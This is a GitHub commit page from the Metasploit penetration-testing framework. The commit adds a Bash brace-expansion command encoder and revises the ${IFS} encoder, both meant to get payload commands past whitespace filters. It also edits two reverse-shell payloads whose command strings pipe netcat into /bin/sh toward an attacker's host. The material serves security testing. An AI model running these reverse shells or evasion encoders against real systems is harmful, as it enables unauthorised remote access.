Skip to content

Commit

Permalink
Land #10516, Add brace expansion encoder and update ${IFS} encoder
Browse files Browse the repository at this point in the history
  • Loading branch information
busterb authored and msjenkins-r7 committed Aug 27, 2018
1 parent 4e967d4 commit 0294d7e
Show file tree
Hide file tree
Showing 5 changed files with 57 additions and 30 deletions.
8 changes: 6 additions & 2 deletions lib/msf/core/encoder.rb
Original file line number Diff line number Diff line change
Expand Up @@ -136,9 +136,13 @@ module Type
#
CmdUnixEcho = 'echo'
#
# Bourne shell IFS encoding.
# Bourne shell ${IFS} encoding.
#
CmdUnixIfs = 'ifs'
CmdUnixIFS = 'ifs'
#
# Bash brace expansion encoding.
#
CmdUnixBrace = 'brace'
end

#
Expand Down
33 changes: 33 additions & 0 deletions modules/encoders/cmd/brace.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Encoder

# This may produce incorrect code due to minimal escaping
Rank = LowRanking

def initialize
super(
'Name' => 'Bash Brace Expansion Command Encoder',
'Description' => %q{
This encoder uses brace expansion in Bash and other shells
to avoid whitespace without being overly fancy.
},
'Author' => ['wvu', 'egypt'],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'EncoderType' => Msf::Encoder::Type::CmdUnixBrace
)
end

def encode_block(state, buf)
# Skip encoding if there are no badchars
return buf if state.badchars !~ /\s/

# Perform brace expansion encoding
"{#{buf.gsub(',', '\\,').gsub(/\s+/, ',')}}"
end

end
40 changes: 15 additions & 25 deletions modules/encoders/cmd/ifs.rb
Original file line number Diff line number Diff line change
Expand Up @@ -5,39 +5,29 @@

class MetasploitModule < Msf::Encoder

# Below normal ranking because this will produce incorrect code a lot of
# the time.
# This may produce incorrect code, such as in quoted strings
Rank = LowRanking

def initialize
super(
'Name' => 'Generic ${IFS} Substitution Command Encoder',
'Description' => %q{
This encoder uses standard Bourne shell variable substitution
to avoid spaces without being overly fancy.
'Name' => 'Bourne ${IFS} Substitution Command Encoder',
'Description' => %q{
This encoder uses Bourne ${IFS} substitution to avoid whitespace
without being overly fancy.
},
'Author' => 'egypt',
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'EncoderType' => Msf::Encoder::Type::CmdUnixIfs)
'Author' => ['egypt', 'wvu'],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'EncoderType' => Msf::Encoder::Type::CmdUnixIFS
)
end


#
# Encodes the payload
#
def encode_block(state, buf)
# Skip encoding for empty badchars
if state.badchars.length == 0
return buf
end

# Skip encoding unless space is a badchar
unless state.badchars.include?(" ")
return buf
end
# Skip encoding if there are no badchars
return buf if state.badchars !~ /\s/

buf.gsub!(/\s/, '${IFS}')
return buf
# Perform ${IFS} encoding
buf.gsub(/\s+/, '${IFS}')
end

end
2 changes: 1 addition & 1 deletion modules/payloads/singles/cmd/unix/reverse_netcat.rb
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,6 @@ def generate
#
def command_string
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
"mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
"mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
end
end
4 changes: 2 additions & 2 deletions modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@

module MetasploitModule

CachedSize = 35
CachedSize = 34

include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
Expand Down Expand Up @@ -45,6 +45,6 @@ def generate
# Returns the command string to use for execution
#
def command_string
"nc #{datastore['LHOST']} #{datastore['LPORT']} -e /bin/sh "
"nc #{datastore['LHOST']} #{datastore['LPORT']} -e /bin/sh"
end
end

0 comments on commit 0294d7e

Please sign in to comment.